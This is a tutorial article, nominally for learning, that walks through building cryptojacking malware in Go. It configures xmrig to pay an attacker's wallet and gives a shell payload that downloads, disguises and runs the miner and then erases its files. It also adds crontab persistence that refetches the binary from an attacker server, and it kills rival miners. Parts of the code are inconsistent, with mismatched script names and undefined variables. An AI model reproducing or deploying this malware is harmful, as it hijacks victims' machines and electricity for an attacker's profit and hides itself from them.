With the popularity of cryptocurrencies, the idea of investing in mining these assets has crossed the minds of many people. However, the high costs of hardware and energy have made this activity unfeasible or less profitable for many. But what if you could receive mining profits without worrying about hardware and energy costs and, moreover, use hundreds or thousands of computers to do it? This is what motivated cybercriminals to create botnets with multiple machines infected with a type of malware known as cryptojacking.

This article is written solely for learning purposes for cybersecurity enthusiasts or professionals.

Step 1 - Creating the Configuration File

In this first step, we will create some necessary settings for the miner to function.

package main

import (
	"encoding/json"
	"io/ioutil"
	"os/exec"
)
// Here we define two structures with some basic xmrig configurations. Understanding this part is not important.

type Config struct {
	Autosave   bool   `json:"autosave"`
	Cpu        bool   `json:"cpu"`
	Opencl     bool   `json:"opencl"`
	Background bool   `json:"background"`
	Cuda       bool   `json:"cuda"`
	Pools      []Pool `json:"pools"`
	Donate     int    `json:"donate-level"`
}

type Pool struct {
	Url       string `json:"url"`
	User      string `json:"user"`
	Keepalive bool   `json:"keepalive"`
	Tls       bool   `json:"tls"`
}

// With these two declared structures, we can create a function to generate a file with our configurations:

func writeConfig() {
	wallet := "ATTACKERS_WALLET_HERE" // Wallet that will receive the monero

	config := Config{
		Autosave:   false,
		Cpu:        true,
		Opencl:     true,
		Background: true,
		Cuda:       false,
		Donate:     1,
		Pools: []Pool{
			{
				Url:       "pool.minexmr.com:443",
				User:      wallet,
				Keepalive: true,
				Tls:       true,
			},
		},
	}

	file, _ := json.MarshalIndent(config, "", " ")
  
	// Write the configurations to a file
	_ = ioutil.WriteFile("config.json", file, 0644)
}

Step 2 - Mining

Before assembling the payload, we need to get the download URL of the miner, which can be found in the releases of the xmrig repository.

func getMiner() {
	// Store the xmrig URL in a variable
  minerLink := "https://github.com/xmrig/xmrig/releases/download/v6.16.3/xmrig-6.16.3-linux-static-x64.tar.gz"
}

Next, we’ll assemble our payload in shellscript:

# Try to download the miner using wget
wget <xmrig_link>
# Try to download the miner using curl
curl -L <xmrig_link>
# Extract the miner
tar -zvxf xmrig-6.16.3-linux-static-x64.tar.gz;
# Move the configuration file, which we created earlier, into the miner's folder
mv config.json xmrig-6.16.3; 
# Rename the xmrig executable to a less suspicious name
cd xmrig-6.16.3; 
mv xmrig x01service;
# Run the miner
./x01service; 
# Wait for the miner to run and then remove all malware-related files.
pid=$!; 
wait $pid; cd ..; 
rm xmrig-6.16.3-linux-static-x64.tar.gz;
pid=$!; 
wait $pid;
rm -R xmrig-6.16.3;
pid=$!;
wait $pid;
rm x01badMin3r;

Now, copy this entire payload and place it inside a string in your getMiner function, replacing with the minerLink variable created earlier.

The malware will then create a .sh file with this payload inside, grant permission, and execute it on the infected machine.

func getMiner() {
	minerLink := "https://github.com/xmrig/xmrig/releases/download/v6.16.3/xmrig-6.16.3-linux-static-x64.tar.gz"

	payload := "wget " + minerLink + "; curl -L " + minerLink + "; tar -zvxf xmrig-6.16.3-linux-static-x64.tar.gz; mv config.json xmrig-6.16.3; cd xmrig-6.16.3; mv xmrig x01service; ./x01service; pid=$!; wait $pid; cd ..; rm xmrig-6.16.3-linux-static-x64.tar.gz; pid=$!; wait $pid; rm -R xmrig-6.16.3; pid=$!; wait $pid; rm x01badMin3r;"

	// Convert the payload to a byte array
	data := []byte(payload)

	// Create the .sh file
	ioutil.WriteFile("x01badMin3r.sh", data, 0644)

	// Grant permission and execute the .sh file on the infected machine
	exec.Command("chmod", "777", "k4yn.sh").Output()
	exec.Command("chmod", "+x", "k4yn.sh").Output()
	exec.Command("/bin/sh", "k4yn.sh").Output()
}

By simply compiling this code and running it on a machine where you have permission, it will start mining Monero and send it to the attacker’s wallet. But let’s add some additional features.

Step 3 - Persistence

For this step, you’ll need to host your malware somewhere.

Next, we will use crontab for persistence.

Crontab is essentially a scheduler that performs an action at specific intervals. In this case, we will use it to execute a script every minute that downloads and runs our malware again if the miner is no longer active.

Please note that crontab typically works only on Linux.

func persistence() {
	binpath:= "http://<server_ip>/<your_malware_name>"

	// Script that creates the crontab scheduler if it doesn't already exist
	cr0nt := "if ! crontab -l | grep -q /tmp/cR0ntSc.sh  > /dev/null; then (crontab -l 2>/dev/null; echo \"* * * * * /tmp/cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /var/cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /mnt/cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /root/cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /dev/cR0ntSc.sh\") | crontab -; else ls -a; fi"

	// Script to be executed by crontab if the miner stops mining
	cr0nscript := "cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget " + binpathaces + "; curl -O " + binpathaces + "; chmod +x *; ./x01badMin3r"
	
	// Create, grant permission, execute, and remove the created scripts
	ioutil.WriteFile("cR0nt.sh", data1, 0644)
	ioutil.WriteFile("cR0ntSc.sh", data2, 0644)

	exec.Command("chmod", "777", "cR0nt.sh").Output()
	exec.Command("chmod", "+x", "cR0nt.sh").Output()
	exec.Command("chmod", "+777", "cR0ntSc.sh").Output()
	exec.Command("chmod", "+x", "cR0ntSc.sh").Output()
	exec.Command("/bin/sh", "cR0nt.sh").Output()
	exec.Command("rm", "cR0nt.sh").Output()
}

Step 4 - Eliminating Competition and Combining Functions

Before combining the functions in the correct order, let’s execute a command that checks if there is already an xmrig miner on the infected machine. If there is, the process is terminated.

func main() {
	exec.Command("sudo", "pkill", "-9", "-f", "xmrig").Output()
	writeConfig()
	persistence()
	getMiner()
}

You have now completed all the functions of our simple malware. Now, you can compile and test it on a machine where you have permission.